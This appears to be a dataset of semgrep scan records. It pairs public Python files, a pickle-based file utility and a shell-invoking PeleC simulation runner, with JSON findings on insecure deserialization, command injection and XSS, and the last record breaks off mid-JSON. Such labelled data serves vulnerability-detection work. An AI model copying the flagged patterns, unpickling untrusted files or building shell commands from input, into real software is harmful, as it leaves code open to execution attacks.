| 146 | 36.43 | 87 | 24 | 1,093 | python | [{"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_ec65ef68c4e40f4c_039e66b1", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 48, "line_end": 48, "column_start": 17, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmpr7mo7ysm/ec65ef68c4e40f4c.py", "start": {"line": 48, "col": 17, "offset": 1486}, "end": {"line": 48, "col": 34, "offset": 1503}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_ec65ef68c4e40f4c_4889192e", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(url, timeout=30)", "location": {"file_path": "unknown", "line_start": 48, "line_end": 48, "column_start": 17, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmpr7mo7ysm/ec65ef68c4e40f4c.py", "start": {"line": 48, "col": 17, "offset": 1486}, "end": {"line": 48, "col": 34, "offset": 1503}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(url, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_ec65ef68c4e40f4c_2f2f804d", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 133, "line_end": 133, "column_start": 21, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmpr7mo7ysm/ec65ef68c4e40f4c.py", "start": {"line": 133, "col": 21, "offset": 4959}, "end": {"line": 133, "col": 51, "offset": 4989}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-79"
] | [
"rules.python.flask.security.xss.audit.direct-use-of-jinja2"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
133
] | [
133
] | [
21
] | [
51
] | [
"A07:2017 - Cross-Site Scripting (XSS)"
] | [
"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | tasks.py | /MapsDataMonitoring/monitor/tasks.py | RomartM/MapsDataMonitoring | Apache-2.0 | |
2024-11-18T19:07:02.047991+00:00 | 1,620,443,062,000 | 37de2c47d595183a5c496bcac38d793935d8b5b5 | 3 | {
"blob_id": "37de2c47d595183a5c496bcac38d793935d8b5b5",
"branch_name": "refs/heads/master",
"committer_date": 1620443062000,
"content_id": "79b4dff5234ad3db21e8010b41b1fe38ead7fdfe",
"detected_licenses": [
"MIT"
],
"directory_id": "83f122c069a85791414342be06de3ffa4f1bbf1d",
"extension": "py",
"filename": "fileUtils.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 365404825,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2065,
"license": "MIT",
"license_type": "permissive",
"path": "/Python文件读写操作和字符串操作/fileUtils.py",
"provenance": "stack-edu-0054.json.gz:579001",
"repo_name": "HiYx/toolboxs-autoscript-myself-easyboy-V1-python-matlab",
"revision_date": 1620443062000,
"revision_id": "3b839ae667824b1ea13a722140efc0c0ef05a46d",
"snapshot_id": "c37407ace0cc531e98067bda83aea4c06bd0013c",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/HiYx/toolboxs-autoscript-myself-easyboy-V1-python-matlab/3b839ae667824b1ea13a722140efc0c0ef05a46d/Python文件读写操作和字符串操作/fileUtils.py",
"visit_date": "2023-04-25T14:07:10.192415"
} | 3.171875 | stackv2 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@version: 1.0
@author: Jianzhang Zhang, <jianzhang.zhang@foxmail.com>
@file: synonymyprocess.py
@time: 2016-10-06
@function: 常用的文件操作方法
"""
import os
def getFileList(dir, fileList=[]):
"""
遍历一个目录,输出所有文件名
param dir: 待遍历的文件夹
param filrList : 保存文件名的列表
return fileList: 文件名列表
"""
newDir = dir
if os.path.isfile(dir):
fileList.append(dir)
elif os.path.isdir(dir):
for s in os.listdir(dir):
# 如果需要忽略某些文件夹,使用以下代码
# if s == "xxx":
# continue
newDir = os.path.join(dir, s)
getFileList(newDir, fileList)
return fileList
def readStrFromFile(filePath):
"""
从文件中读取字符串str
param filePath: 文件路径
return string : 文本字符串
"""
with open(filePath, "rb") as f:
string = f.read()
return string
def readLinesFromFile(filePath):
"""
从文件中读取字符串列表list
param filePath: 文件路径
return lines : 文本字符串列表
"""
with open(filePath, "rb") as f:
lines = f.readlines()
return lines
def writeStrToFile(filePath, string):
"""
将字符串写入文件中
param filePath: 文件路径
param string : 字符串str
"""
with open(filePath, "wb") as f:
f.write(string)
def appendStrToFile(filePath, string):
"""
将字符串追加写入文件中
param filePath: 文件路径
param string : 字符串str
"""
with open(filePath, "ab") as f:
f.write(string)
def dumpToFile(filePath, content):
"""
将数据类型序列化存入本地文件
param filePath: 文件路径
param content : 待保存的内容(list, dict, tuple, ...)
"""
import pickle
with open(filePath, "wb") as f:
pickle.dump(content, f)
def loadFromFile(filePath):
"""
从本地文件中加载序列化的内容
param filePath: 文件路径
return content: 序列化保存的内容(e.g. list, dict, tuple, ...)
"""
import pickle
with open(filePath) as f:
content = pickle.load(f)
return content
| 97 | 16.49 | 57 | 14 | 553 | python | [{"finding_id": "semgrep_rules.python.lang.correctness.common-mistakes.default-mutable-list_5b80ced2ea9681a9_046b7cc5", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.common-mistakes.default-mutable-list", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Function getFileList mutates default list fileList. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new list at that time. For example: `if fileList is None: fileList = []`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 3, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.common-mistakes.default-mutable-list", "path": "/tmp/tmpr7mo7ysm/5b80ced2ea9681a9.py", "start": {"line": 24, "col": 3, "offset": 471}, "end": {"line": 24, "col": 23, "offset": 491}, "extra": {"message": "Function getFileList mutates default list fileList. Python only instantiates default function arguments once and shares the instance across the function calls. If the default function argument is mutated, that will modify the instance used by all future function calls. This can cause unexpected results, or lead to security vulnerabilities whereby one function consumer can view or modify the data of another function consumer. Instead, use a default argument (like None) to indicate that no argument was provided and instantiate a new list at that time. For example: `if fileList is None: fileList = []`.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://docs.python-guide.org/writing/gotchas/#mutable-default-arguments"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_5b80ced2ea9681a9_1b505d23", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 85, "line_end": 85, "column_start": 3, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/5b80ced2ea9681a9.py", "start": {"line": 85, "col": 3, "offset": 1771}, "end": {"line": 85, "col": 26, "offset": 1794}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_5b80ced2ea9681a9_2cb893a0", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 95, "line_end": 95, "column_start": 7, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpr7mo7ysm/5b80ced2ea9681a9.py", "start": {"line": 95, "col": 7, "offset": 2001}, "end": {"line": 95, "col": 21, "offset": 2015}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_5b80ced2ea9681a9_2bff333e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 96, "line_end": 96, "column_start": 13, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/5b80ced2ea9681a9.py", "start": {"line": 96, "col": 13, "offset": 2034}, "end": {"line": 96, "col": 27, "offset": 2048}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
85,
96
] | [
85,
96
] | [
3,
13
] | [
26,
27
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | fileUtils.py | /Python文件读写操作和字符串操作/fileUtils.py | HiYx/toolboxs-autoscript-myself-easyboy-V1-python-matlab | MIT | |
2024-11-18T19:07:07.759467+00:00 | 1,532,114,670,000 | 63404bf44fdc233d2bbc42e2fb21e8c72870ee8b | 2 | {
"blob_id": "63404bf44fdc233d2bbc42e2fb21e8c72870ee8b",
"branch_name": "refs/heads/master",
"committer_date": 1532114670000,
"content_id": "ba33213ad779c4a08d2f08f626e37ed41543d4ba",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "5ca90af17e77e061fd05881505e710c776b18606",
"extension": "py",
"filename": "run.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 299637295,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2753,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/ctv/run.py",
"provenance": "stack-edu-0054.json.gz:579065",
"repo_name": "marchdf/ppm-analysis",
"revision_date": 1532114670000,
"revision_id": "5d84c875413ff609c28c3d9a9dd1d71db9a917fd",
"snapshot_id": "60b1dede6cef2b661eaf5f47758d82e2f768b222",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/marchdf/ppm-analysis/5d84c875413ff609c28c3d9a9dd1d71db9a917fd/ctv/run.py",
"visit_date": "2022-12-24T15:19:54.816948"
} | 2.375 | stackv2 | #!/usr/bin/env python3
# ========================================================================
#
# Imports
#
# ========================================================================
import os
import shutil
import argparse
import subprocess as sp
import numpy as np
import time
from datetime import timedelta
# ========================================================================
#
# Main
#
# ========================================================================
if __name__ == "__main__":
# Timer
start = time.time()
# Parse arguments
parser = argparse.ArgumentParser(description="Run cases")
parser.add_argument(
"-np", "--num-procs", dest="np", help="Number of MPI ranks", type=int, default=1
)
args = parser.parse_args()
# Setup
ncells = np.arange(10, 66, 2)
cfls = np.linspace(1e-2, 0.999, 50)
# cfls = [0.056, 0.17, 0.28, 0.46, 0.86]
workdir = os.getcwd()
pelecbin = os.path.abspath("PeleC3d.gnu.MPI.ex")
casedir = os.path.abspath("cases")
iname = "inputs_3d"
pname = "probin"
if os.path.exists(casedir):
shutil.rmtree(casedir)
os.makedirs(casedir)
# Maximum velocity in domain, max(u+c)
umax = 41662.30355
L = 2
# Loop over number of cells
for i, ncell in enumerate(ncells):
for j, cfl in enumerate(cfls):
# Prep run directory
rundir = os.path.join(casedir, "{0:d}cells_{1:f}".format(ncell, cfl))
os.makedirs(rundir)
shutil.copy2(os.path.join(workdir, iname), rundir)
shutil.copy2(os.path.join(workdir, pname), rundir)
log = open(os.path.join(rundir, "out"), "w")
# Calculate fixed time step
dt = cfl * 2. / (ncell * umax)
status = "Running {0:d} cells at CFL = {1:f} DT = {2:e}".format(
ncell, cfl, dt
)
print(status)
log.write(status + "\n")
log.flush()
# Run Pele
os.chdir(rundir)
cmd = "mpirun -np {0:d} {1:s} {2:s} pelec.fixed_dt={3:e} amr.n_cell={4:d} {4:d} {4:d}".format(
args.np, pelecbin, iname, dt, ncell
)
proc = sp.Popen(cmd, shell=True, stdout=log, stderr=sp.PIPE)
retcode = proc.wait()
proc = sp.Popen(
"ls -1v plt*/Header | tee movie.visit",
shell=True,
stdout=log,
stderr=sp.PIPE,
)
retcode = proc.wait()
log.flush()
os.chdir(workdir)
# output timer
end = time.time() - start
print(
"Elapsed time "
+ str(timedelta(seconds=end))
+ " (or {0:f} seconds)".format(end)
)
| 94 | 28.29 | 106 | 15 | 723 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_38239687eff4f3f7_1e6796c9", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 59, "line_end": 59, "column_start": 13, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmppq52ww6s/38239687eff4f3f7.py", "start": {"line": 59, "col": 13, "offset": 1633}, "end": {"line": 59, "col": 57, "offset": 1677}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_38239687eff4f3f7_ae178072", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 59, "line_end": 59, "column_start": 19, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/38239687eff4f3f7.py", "start": {"line": 59, "col": 19, "offset": 1639}, "end": {"line": 59, "col": 57, "offset": 1677}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_38239687eff4f3f7_aef551bd", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 75, "line_end": 75, "column_start": 20, "column_end": 73, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/38239687eff4f3f7.py", "start": {"line": 75, "col": 20, "offset": 2216}, "end": {"line": 75, "col": 73, "offset": 2269}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args_38239687eff4f3f7_b16b060d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Detected subprocess function 'Popen' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 75, "line_end": 75, "column_start": 29, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "path": "/tmp/tmppq52ww6s/38239687eff4f3f7.py", "start": {"line": 75, "col": 29, "offset": 2225}, "end": {"line": 75, "col": 32, "offset": 2228}, "extra": {"message": "Detected subprocess function 'Popen' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_38239687eff4f3f7_bc28f23e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 75, "line_end": 75, "column_start": 40, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmppq52ww6s/38239687eff4f3f7.py", "start": {"line": 75, "col": 40, "offset": 2236}, "end": {"line": 75, "col": 44, "offset": 2240}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": 